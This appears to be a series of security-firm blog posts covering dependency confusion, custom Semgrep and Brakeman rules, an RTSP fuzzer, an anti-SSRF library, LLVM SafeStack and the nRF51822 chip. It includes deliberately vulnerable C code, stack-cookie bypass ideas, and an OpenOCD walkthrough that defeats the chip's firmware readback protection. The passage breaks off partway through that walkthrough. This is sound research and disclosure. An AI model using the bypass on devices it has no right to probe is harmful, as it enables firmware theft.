"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Nick Fox",
"license": "MIT"
}
When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.
This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.
To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.
Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.
Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!
In application assessments you have to do the most effective work you can in the time period defined by the client to maximize the assurance you’re providing. At IncludeSec we’ve done a couple innovative things to improve the overall effectiveness of the work we do, and we’re always on the hunt for more ways to squeeze even more value into our assessments by finding more risks and finding them faster. One topic that we revisit frequently to ensure we’re doing the best we can to maximize efficiency is static analysis tooling (aka SAST.)
Recently we did a bit of a comparison example of two open source static analysis tools to automate detection of suspicious or vulnerable code patterns identified during assessments. In this post we discuss the experience of using Semgrep and Brakeman to create the same custom rule within each tool for a client’s Ruby on Rails assessment our team was assessing. We’re also very interested in trying out GitHub’s CodeQL, but unfortunately the Ruby support is still in development so that will have to wait for another time.
Semgrep is a pattern-matching tool that is semantically-aware and works with several languages (currently its Ruby support is marked as beta, so it is likely not at full maturity yet). Brakeman is a long-lived Rails-specific static-analysis tool, familiar to most who have worked with Rails security. Going in, I had no experience writing custom rules for either one.
This blog post is specifically about writing custom rules for code patterns that are particular to the project I’m assessing. First though I want to mention that both tools have some pre-built general rules for use with most Ruby/Rails projects — Brakeman has a fantastic set of built-in rules for Rails projects that has proven very useful on assessments (just make sure the developers of the project haven’t disabled rules in config/brakeman.yml, and yes we have seen developers do this to make SAST warnings go away!). Semgrep has an online registry of user-submitted rules for Ruby that is also handy (especially as examples for writing your own rules), but the current rule set for Ruby is not quite as extensive as Brakeman. In Brakeman the rules are known as “checks”, for consistency we’ll use the term “rules” for both tools, but you the reader can just keep that fact in mind.
First custom rule: Verification of authenticated functionality
I chose a simple pattern for the first rule I wanted to make, mainly to familiarize myself with the process of creating rules in both Semgrep and Brakeman. The application had controllers that handle non-API routes. These controllers enforced authentication by adding a before filter: before_action :login_required. Often in Rails projects, this line is included in a base controller class, then skipped when authentication isn’t required using skip_before_filter. This was not the case in the webapp I was looking at — the before filter was manually set in every single controller that needed authentication, which seemed error-prone as an overall architectural pattern, but alas it is the current state of the code base.
I wanted to get a list of any non-API controllers that lack this callback so I can ensure no functionality is unintentionally exposed without authentication. API routes handled authentication in a different way so consideration for them was not a priority for this first rule.
Semgrep
I went to the Semgrep website and found that Semgrep has a nice interactive tutorial, which walks you through building custom rules. I found it to be incredibly simple and powerful — after finishing the tutorial in about 20 minutes I thought I had all the knowledge I needed to make the rules I wanted. Although the site also has an online IDE for quick iteration I opted to develop locally, as the online IDE would require submitting our client’s code to a 3rd party which we obviously can’t do for security and liability reasons. The rule would eventually have to be run against the entire codebase anyways.
I encountered a few challenges when writing the rule:
It’s a little tricky to find things that do not match a pattern (e.g. lack of a login_required filter). You can’t just search all files for ones that don’t match, you have to have a pattern that it does search for, then exclude the cases matching your negative pattern. I was running into a bug here that made it even harder but the Semgrep team fixed it when we gave them a heads up!
Matching only classes derived from ApplicationController was difficult because Semgrep doesn’t currently trace base classes recursively, so any that were more than one level removed from ApplicationController would be excluded (for example, if there was a class DerivedController < ApplicationController, it wouldn’t match SecondLevelDerivedController < DerivedController.) The Semgrep team gave me a tip about using a metavariable regex to filter for classes ending in “Controller” which worked for this situation and added no false positives.
My final custom rule for Semgrep follows:
rules:
- id: controller-without-authn
patterns:
- pattern: |
class $CLASS
...
end
- pattern-not: |
class $CLASS
...
before_action ..., :login_required, ...
...
end
- metavariable-regex:
metavariable: '$CLASS'
regex: '.*Controller'
message: |
$CLASS does not use the login_required filter.
severity: WARNING
languages:
- ruby
I ran the rule using the following command: semgrep --config=../../../semgrep/ | grep "does not use"
The final grep is necessary because Semgrep will print the matched patterns which, in this case, were the entire classes. There’s currently no option in Semgrep to show only a list of matching files without the actual matched patterns themselves. That made it difficult to see the list of affected controllers, so I used grep on the output to filter the patterns out. This rule resulted in 47 identified controllers. Creating this rule originally took about two hours including going through the tutorial and debugging the issues I ran into but now that the issues are fixed I expect it would take less time in future iterations.
Overall I think the rule is pretty self-explanatory — it finds all files that define a class then excludes the ones that have a login_required before filter. Check out the semgrep tutorial lessons if you’re unsure.
Brakeman
Brakeman has a wiki page which describes custom rule building, but it doesn’t have a lot of detail about what functionality is available to you. It gives examples of finding particular method calls and whether user input finds their ways into these calls. There’s no example of finding controllers.
The page didn’t give any more about what I wanted to do so I headed off to Brakeman’s folder of built-in rules in GitHub to see if there are any examples of something similar there. There is a CheckSkipBeforeFilter rule which is very similar to what I want — it checks whether the login_required callback is skipped with skip_before_filter. As mentioned, the app isn’t implemented that way, but it showed me how to iterate controllers and check before filters.
This got me most of the way there but I also needed to skip API controllers for this particular app’s architecture. After about an hour of tinkering and looking through Brakeman controller tracker code I had the following rule:
require 'brakeman/checks/base_check'
class Brakeman::CheckControllerWithoutAuthn < Brakeman::BaseCheck
Brakeman::Checks.add self
@description = "Checks for a controller without authN"
def run_check
controllers = tracker.controllers.select do |_name, controller|
not check_filters controller
end
Hash[controllers].each do |name, controller|
warn :controller => name,
:warning_type => "No authN",
:warning_code => :basic_auth_password,
:message => "No authentication for controller",
:confidence => :high,
:file => controller.file
end
end
# Check whether a non-api controller has a :login_required before_filter
def check_filters controller
return true if controller.parent.to_s.include? "ApiController"
controller.before_filters.each do |filter|
next unless call? filter
next unless filter.first_arg.value == :login_required
return true
end
return false
end
end
Running it with brakeman --add-checks-path ../brakeman --enable ControllerWithoutAuthn -t ControllerWithoutAuthn resulted in 43 controllers without authentication — 4 fewer than Semgrep flagged.
Taking a close look at the controllers that Semgrep flagged and Brakeman did not, I realized the app is importing shared functionality from another module, which included a login_required filter. Therefore, Semgrep had 4 false positives that Brakeman did not flag. Since Semgrep works on individual files I don’t believe there’s an easy way to prevent those ones from being flagged.
Second custom rule: Verification of correct and complete authorization across functionality
The next case I wanted assurance on was vertical authorization at the API layer. ApiControllers in the webapp have a method authorization_permissions() which is called at the top of each derived class with a hash table of function_name/permission pairs. This function saves the passed hash table into an instance variable. ApiControllers have a before filter that, when any method is invoked, will look up the permission associated with the called method in the hash table and ensure that the user has the correct permission before proceeding.
Manual review was required to determine whether any methods had incorrect privileges, as analysis tools can’t understand business logic, but they can find methods entirely lacking authorization control — that was my goal for these rules.
Semgrep
Despite being seemingly a more complex scenario, this was still pretty straightforward in Semgrep:
rules:
- id: method-without-authz
patterns:
- pattern: |
class $CONTROLLER < ApiController
...
def $FUNCTION
...
end
...
end
- pattern-not: |
class $CONTROLLER < ApiController
...
authorization_permissions ... :$FUNCTION => ...
...
def $FUNCTION
...
end
...
end
message: |
Detected api controller $CONTROLLER which does not check for authorization for the $FUNCTION method
severity: WARNING
languages:
- ruby
It finds all methods on ApiControllers then excludes the ones that have some authorization applied. Semgrep found seven controllers with missing authorization checks.
Brakeman
I struggled to make this one in Brakeman at first, even thinking it might not be possible. The Brakeman team kindly guided me towards Collection#options which contains all method calls invoked at the class level excluding some common ones like before_filter. The following rule grabs all ApiControllers, looks through their options for the call to authorization_permissions, then checks whether each controller method has an entry in the authorization_permissions hash.
require 'brakeman/checks/base_check'
class Brakeman::CheckApicontrollerWithoutAuthz < Brakeman::BaseCheck
Brakeman::Checks.add self
@description = "Checks for an ApiController without authZ"
def run_check
# Find all api controllers
api_controllers = tracker.controllers.select do |_name, controller|
is_apicontroller controller
end
# Go through all methods on all ApiControllers
# and find if they have any methods that are not in the authorization matrix
Hash[api_controllers].each do |name, controller|
perms = controller.options[:authorization_permissions].first.first_arg.to_s
controller.each_method do |method_name, info|
if not perms.include? ":#{method_name})"
warn :controller => name,
:warning_type => "No authZ",
:warning_code => :basic_auth_password,
:message => "No authorization check for #{name}##{method_name}",
:confidence => :high,
:file => controller.file
end
end
end
end
def is_apicontroller controller
# Only care about controllers derived from ApiController
return controller.parent.to_s.include? "ApiController"
end
end
Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.
Conclusion
So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.
Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.
Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!
There are many ways software is tested for faults, some of those faults end up originating from exploitable memory corruption situations and are labeled vulnerabilities. One popular method used to identify these types of faults in software is runtime fuzzing.
When developing servers that implement an RFC defined protocol, dynamically mutating the inputs and messages sent to the server is a good strategy for fuzzing. The Mozilla security team has used fuzzing internally to great effect on their systems and applications over the years. One area that Mozilla wanted to see more open source work in was fuzzing of streaming media protocols, specifically RTSP.
Towards that goal IncludeSec is today releasing https://github.com/IncludeSecurity/RTSPhuzz. We’re also excited to announce the work of the initial development of the tool has been sponsored by the Mozilla Open Source Support (MOSS) awards program. RTSPhuzz is provided as free and open unsupported software for the greater good of the maintainers and authors of RTSP services — FOSS and COTS alike!
RTSPhuzz is based on the boofuzz framework, it and connects as a client to target RTSP servers and fuzzes RTSP messages or sequences of messages. In the rest of this post we’ll cover some of the important bits to know about it. If you have an RTSP server, go ahead and jump right into our repo and shoot us a note to say hi if it ends up being useful to you.
RtspFuzzer uses the Peach fuzzing framework to fuzz RTSP responses, however it targets RTSP client implementations, whereas our fuzzer targets RTSP servers.
StreamFUZZ is a Python script that does not utilize a fuzzing framework. Similar to our fuzzer, it fuzzes different parts of RTSP messages and sends them to a server. However, it is more simplistic; it doesn’t fuzz as many messages or header fields as our fuzzer, it does not account for the types of the fields it fuzzes, and it does not keep track of sessions for fuzzing sequences of messages.
Approach to Fuzzer Creation
The general approach for RTSPhuzz was to first review the RTSP RFC carefully, then define each of the client-to-server message types as boofuzz messages. RTSP headers were then distributed among the boofuzz messages in such a way that each is mutated by the boofuzz engine in at least one message, and boofuzz messages are connected in a graph to reasonably simulate RTSP sessions. Header values and message bodies were given initial reasonable default values to allow successful fuzzing of later messages in a sequence of messages. Special processing is done for several headers so that they conform to the protocol when different parts of messages are being mutated. The boofuzz fuzzing framework gives us the advantage of being able to leverage its built-in mutations, logging, and web interface.
Using RTSPhuzz
You can grab the code from github. Then, specify the server host, server port, and RTSP path to a media file on the target server:
Once RTSPhuzz is started, the boofuzz framework will open the default web interface on localhost port 26000, and will record results locally in a boofuzz-results/ directory. The web interface can be re-opened for the database from a previous run with boofuzz’s boo tool:
boo open <run-*.db>
See the RTSPhuzz readme for more detailed options and ways to run RTSPhuzz, and boofuzz’s documentation for more information on boofuzz.
Open Source and Continued Development
This is RTSPhuzz’s initial release for open use by all. We encourage you to try it out and share ways to improve the tool. We will review and accept PRs, address bugs where we can, and also would love to hear any shout-outs for any bugs you find with this tool (@includesecurity).
One of the things that has always been important in IncludeSec’s progress as a company is finding the best talent for the task at hand. We decided early on that if the best Python hacker in the world was not in the US then we would go find that person and work with them! Or whatever technology the project at hand is; C, Go, Ruby, Scala, Java, etc.
As it turns out the best Python hackers (and many other technologies) might actually be in Argentina. We’re not the only ones that have noticed this. Immunity Security, IOActive Security, Gotham Digital Science, and many others have a notable presence in Argentina (The NY Times even wrote an article on how great the hackers are there!) We’ve worked with dozens of amazing Argentinian hackers over the last six years comprising ~30% of our team and we’ve also enjoyed the quality of the security conferences like EkoParty in Buenos Aires.
As a small thank you to the entire Argentinian hacker scene, we’re going to do a free training class on May 30/31st 2019 teaching advanced web hacking techniques. This training is oriented towards hackers earlier in their career who have already experienced the world of OWASP top 10 and are looking to take their hacking skills to the next level.
If that sounds like you, you’re living in Argentina, and can make it to Buenos Aires on May 30th & 31st then this might be an awesome opportunity for you!
At Include Security, we believe that a reactive approach to security can fall short when it’s not backed by proactive roots. We see new offensive tools for pen-testing and vulnerability analysis being created and released all the time. In regards to SSRF vulnerabilities, we saw an opportunity to release code for developers to assist in protecting against these sorts of security issues. So we’re releasing a new set of language specific libraries to help developers effectively protect against SSRF issues. In this blog post, we’ll introduce the concept of SafeURL; with details about how it works, as well as how developers can use it, and our plans for rewarding those who find vulnerabilities in it!
Preface: Server Side Request Forgery
Server Side Request Forgery (SSRF) is a vulnerability that gives an attacker the ability to create requests from a vulnerable server. SSRF attacks are commonly used to target not only the host server itself, but also hosts on the internal network that would normally be inaccessible due to firewalls. SSRF allows an attacker to:
Scan and attack systems from the internal network that are not normally accessible
Enumerate and attack services that are running on these hosts
Exploit host-based authentication services
As is the case with many web application vulnerabilities, SSRF is possible because of a lack of user input validation. For example, a web application that accepts a URL input in order to go fetch that resource from the internet can be given a valid URL such as http://google.com But the application may also accept URLs such as:
When those kinds of inputs are not validated, attackers are able to access internal resources that are not intended to be public.
Our Proposed Solution
SafeURL is a library, originally conceptualized as “SafeCURL” by Jack Whitton (aka @fin1te), that protects against SSRF by validating each part of the URL against a white or black list before making the request. SafeURL can also be used to validate URLs. SafeURL intends to be a simple replacement for libcurl methods in PHP and Python as well as java.net.URLConnection in Scala. The source for the libraries are available on our Github:
Our approach is focused on protection on the application layer. Other techniques used by some Silicon Valley companies to combat SSRF include:
Setting up wrappers for HTTP client calls which are forwarded to a single-purposed proxy that prevents it from talking to any internal hosts based on firewall rules as the HTTP requests are proxied
At the application server layer, hijack all socket connections to ensure they meet a developer configured policy by enforcing iptables rules or more advanced interactions with the app server’s networking layer
Installation
PHP
SafeURL can be included in any PHP project by cloning the repository on our Github and importing it into your project.
Python
SafeURL can be used in Python apps by cloning the repository on our Github and importing it like this:
from safeurl import safeurl
Scala
To use SafeURL in Scala applications, clone the repository and store in the app/ folder of your Play application and import it.
import com.includesecurity.safeurl._
Usage
PHP
SafeURL is designed to be a drop-in replacement for the curl_exec() function in PHP. It can simply be replaced with SafeURL::execute() wrapped in a try {} catch {} block.
Options such as white and black lists can be modified. For example:
$options = new Options();
$options->addToList("blacklist", "domain", "(.*)\.fin1te\.net");
$options->addToList("whitelist", "scheme", "ftp");
//This will now throw an InvalidDomainException
$response = SafeURL::execute("http://example.com", $curlHandle, $options);
//Whilst this will be allowed, and return the response
$response = SafeURL::execute("ftp://example.com", $curlHandle, $options);
Python
SafeURL serves as a replacement for PyCurl in Python.
try:
su = safeurl.SafeURL()
res = su.execute("https://example.com";)
except:
print "Unexpected error:", sys.exc_info()
Demo, Bug Bounty Contest, and Further Contributions
An important question to ask is: Is SafeURL really safe? Don’t take our word for it. Try to hack it yourself! We’re hosting live demo apps in each language for anyone to try and bypass SafeURL and perform a successful SSRF attack. On each site there is a file called key.txt on the server’s local filesystem with the following .htaccess policy:
<Files key.txt>
Order deny,allow
Deny from allow
Allow from 127.0.0.1
ErrorDocument 403 /oops.html
</Files>
If you can read the contents of the file through a flaw in SafeURL and tell us how you did it (patch plz?), we will contact you about your reward. As a thank you to the community, we’re going to reward up to one Bitcoin for any security issues. If you find a non-security bug in the source of any of our libraries, please contact us as well you’ll have our thanks and a shout-out. The challenges are being hosted at the following URLs: PHP: safeurl-php.excludesecurity.com Python: safeurl-python.excludesecurity.com Scala: safeurl-scala.excludesecurity.com
If you can contribute a Pull Request and port the SafeURL concept to other languages (such as Java, Ruby, C#, etc.) we could throw you you some Bitcoin as a thank you.
Good luck and thanks for helping us improve SafeURL!
In June 2015, a new memory corruption exploit mitigation named SafeStack was merged into the llvm development branch by Peter Collingbourne from Google and will be available with the upcoming 3.8 release. SafeStack was developed as part of the Code Pointer Integrity (CPI) project but is also available as stand-alone mitigation. We like to stay ahead of the curve on security, so this post aims to discuss the inner workings and the security benefits of SafeStack for consideration in future attacks and possible future improvements to the feature.
SafeStack in a Nutshell
SafeStack is a mitigation similar to (but potentially more powerful than) Stack Cookies. It tries to protect critical data on the stack by separating the native stack into two areas: A safe stack, which is used for control flow information as well as data that is only ever accessed in a safe way (as determined through static analysis). And an unsafe stack which is used for everything else that is stored on the stack. The two stacks are located in different memory regions in the process’s address space and thus prevent a buffer overflow on the unsafe stack from corrupting anything on the safe stack.
SafeStack promises a generally good protection against common stack based memory corruption attacks while introducing only a low performance overhead (around 0.1% on average according to the documentation) when implemented.
When SafeStack is enabled, the stack pointer register (esp/rsp on x86/x64 respectively) will be used for the safe stack while the unsafe stack is tracked by a thread-local variable. The unsafe stack is allocated during initialization of the binary by mmap’ing a region of readable and writable memory and preceding this region with a guard page, presumably to catch stack overflows in the unsafe stack region.
SafeStack is (currently) incompatible with Stack Cookies and disables them when it is used.
Implementation Details
SafeStack is implemented as an llvm instrumentation pass, the main logic is implemented in lib/Transforms/Instrumentation/SafeStack.cpp. The instrumentation pass runs as one of the last steps before (native) code generation.
More technically: The instrumentation pass works by examining all “alloca” instructions in the intermediate representation (IR) of a function (clang first compiles the code into llvm’s intermediate representation and later, after various instrumentation/optimization passes, translates the IR into machine code). An “alloca” instruction allocates space on the stack for a local variable or array. The SafeStack instrumentation pass then traverses the list of instructions that make use of this variable and determines whether these accesses are safe or not. If any access is determined to be “unsafe” by the instrumentation pass, the “alloca” instruction is replaced by code that allocates space on the unsafe stack instead and the instructions using the variable are updated accordingly.
The IsSafeStackAlloc function is responsible for deciding whether a stack variable can ever be accessed in an “unsafe” way. The definition of “unsafe” is currently rather conservative: a variable is relocated to the unsafe stack in the following cases:
a pointer to the variable is stored somewhere in memory
an element of an array is accessed with a non-constant index (i.e. another variable)
a variable sized array is accessed (with constant or non-constant index)
a pointer to the variable is given to a function as argument
The SafeStack runtime support, which is responsible for allocating and initializing the unsafe stack, can be found here. As previously mentioned, the unsafe stack is just a regular mmap’ed region.
Exploring SafeStack: Implementation in Practice
Let’s now look at a very simple example to understand how SafeStack works under the hood. For my testing I compiled clang/llvm from source following this guide: http://clang.llvm.org/get_started.html
Let’s start by looking at the generated assembly when no stack protection is used. For that we compile with “clang -O1 example.c” (optimization is enabled to reduce noise)
Easy enough. The function allocates space on the stack for the buffer at 400580, then calls strcpy with a pointer to the buffer at 40058e. Now let’s look at the assembly code generated when using Stack Cookies. For that we need to use the -fstack-protector flag (available in gcc and clang): “clang -O1 -fstack-protector example.c”:
At 4005f7 the master cookie (the reference value of the cookie) is read from the Thread Control Block (TCB which is a per thread data structure provided by libc) and put on the stack, below the return address. Later, at 40061a, that value is then compared with the value in the TCB before the function returns. If the two values do not match, __stack_chk_fail is called which terminates the process with a message similar to this one: “*** stack smashing detected ***: ./example terminated“. Now we’ll enable SafeStack by using the -fsanitize=safe-stack flag: “clang -O1 -fsanitize=safe-stack example.c”:
At 410d7e the current value of the unsafe stack pointer is retrieved from Thread Local Storage (TLS). Since each thread also has it’s own unsafe stack, the stack pointer for the unsafe stack gets stored as a thread local variable. Next, at 410d82, the program allocates space for our buffer on the unsafe thread and writes the new value back to the TLS (410d86). It then calls the strcpy function with a pointer into the unsafe stack. In the function epilog (410d92), the old value of the unsafe stack pointer is written back into TLS (Basically, these instruction do the equivalent of “sub rsp, x; … add rsp, x”, but for the unsafe stack) and the function returns.
If we compile our program with the “-fsanitize=safe-stack option” and an overflow occurs, the saved return address (on the safe stack) is unaffected and the program likely segfaults as it tries to write behind the unsafe stack into unmapped/unwritable memory.
Security Details: Stack Cookies vs. SafeStack
While Stack Cookies provide fairly good protection against stack corruption exploits, the security measure in general has a few weaknesses. In particular, bypasses are possible in at least the following scenarios:
The vulnerability in code is a non-linear overflow/arbitrary relative write on the stack. In this case the cookie can simply be “skipped over”.
Data (e.g. function pointers) further up the stack can be corrupted and are used before the function returns.
The attacker has access to an information leak. Depending on the nature of the leak, the attacker can either leak the cookie from the stack directly or leak the master cookie. Once obtained, the attacker overflows the stack and overwrites the cookie again with the value obtained in the information leak.
In the case of weak entropy. If not enough entropy is available during generation of the cookie value, an attacker may be able to calculate the correct cookie value.
In the case of a forking service, the stack cookie value will stay the same for all child processes. This may make it possible to bruteforce the stack cookie value byte-by-byte, overwriting only a single byte of the cookie and observing whether the process crashes (wrong guess) or continues past the next return statement (correct guess). This would require at most 255 tries per unknown stack cookie byte.
It is important to note however, that most stack based overflows that are caused by functions operating on C strings (e.g. strcpy) are unexploitable when compiled with stack cookies enabled. As most stack cookie implementations usually force one of the bytes of the stack cookie to be a zero byte which makes string overwriting past that impossible with a C string (it’s still possible with a network buffer and raw memory copy though).
Possible Implementation bugs aside, SafeStack is, at least in theory, immune to all of these due to the separation of the memory regions.
However, what SafeStack (by design) does not protect against is corruption of data on the unsafe stack. Or, phrased differently, the security of SafeStack is based around the assumption that no critical data is stored on the unsafe stack.
Moreover, in contrast to Stack Cookies, SafeStack does not prevent the callee from corrupting data of the caller (more precisely, Stack Cookies prevent the caller from using the corrupted data after the callee returns). The following example demonstrates this:
Compiling this code with “-fsanitize=safe-stack” and supplying more than 16 bytes as input will overflow into the buffer of main() and corrupt its content. In contrast, when compiled with “-fstack-protector”, the overflow will be detected and the process terminated before main() uses the corrupted buffer.
This weakness could be (partially) addressed by using Stack Cookies in addition to SafeStack. In this scenario, the master cookie could even be stored on the safe stack and regenerated for every function call (or chain of function calls). This would further protect against some of the weaknesses of plain Stack Cookies as described above.
The lack of unsafe stack protections combined with the conservativeness of the current definition of “unsafe” in the implementation potentially provides an attacker with enough critical data on the unsafe stack to compromise the application. As an example, we’ll devise a, more or less, realistic piece of code that will result in the (security critical) variable ‘pl’ being placed on the unsafe stack, above ‘buffer’ (Although it seems that enabling optimization during compilation causes less variables to be placed on the unsafe stack):
voiddetermine_privilege_level(int*pl) {
// dummy function*pl =0x42;
}
intmain() {
int pl;
char buffer[16];
determine_privilege_level(&pl);
gets(buffer); // This can overflow and corrupt 'pl'
printf("privilege level: %xn", pl);
return0;
}
This “data-only” attack is possible due to the fact that the current implementation never recurses into called functions but rather considers (most) function arguments as unsafe.
The risk of corrupting critical data on the unsafe stack can however be greatly decreased through improved static analysis, variable reordering, and, as mentioned above, by protecting the callee’s unsafe stack frame.
It should also be noted that the current implementation does not protect the safe stack in any other way besides system level ASLR. This means that an information leak combined with an arbitrary write primitive will still allow an attacker to overwrite the return address (or other data) on the safe stack. See the comment at the top of the runtime support implementation for more information. Finally we should mention there has been an academic study that points out some additional detail regarding CPI.
Conclusion
With the exceptions noted above, SafeStack’s implemented security measures are a superset of those of Stack Cookies, allowing it to prevent exploitation of stack based vulnerabilities in many scenarios. This combined with the low performance overhead could make SafeStack a good choice during compilation in the future.
SafeStack is still in its early stages, but it looks to be a very promising new addition to a developer’s arsenal of compiler provided exploit mitigations. We wouldn’t call it the end-all of buffer overflows, but it’s a significant hurdle for attackers to overcome.
One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.
Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.
This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.
The SoC
The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.
Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.
The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.
This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.
Exploring the Debugger Access
Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:
We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):
> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0
We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:
> mdw 0x10001004
0x10001004: ffff00ff
According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):
The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.
The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.
Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.
Devising a Protection Bypass
An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.
To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.
Finding a Load Instruction
Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.
We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.
We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:
OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:
This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).
Let’s try reading the two instructions we just were testing:
In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.
We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.
Dumping the Firmware
Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:
Reset the CPU
Single step (we don’t care about the first instruction)
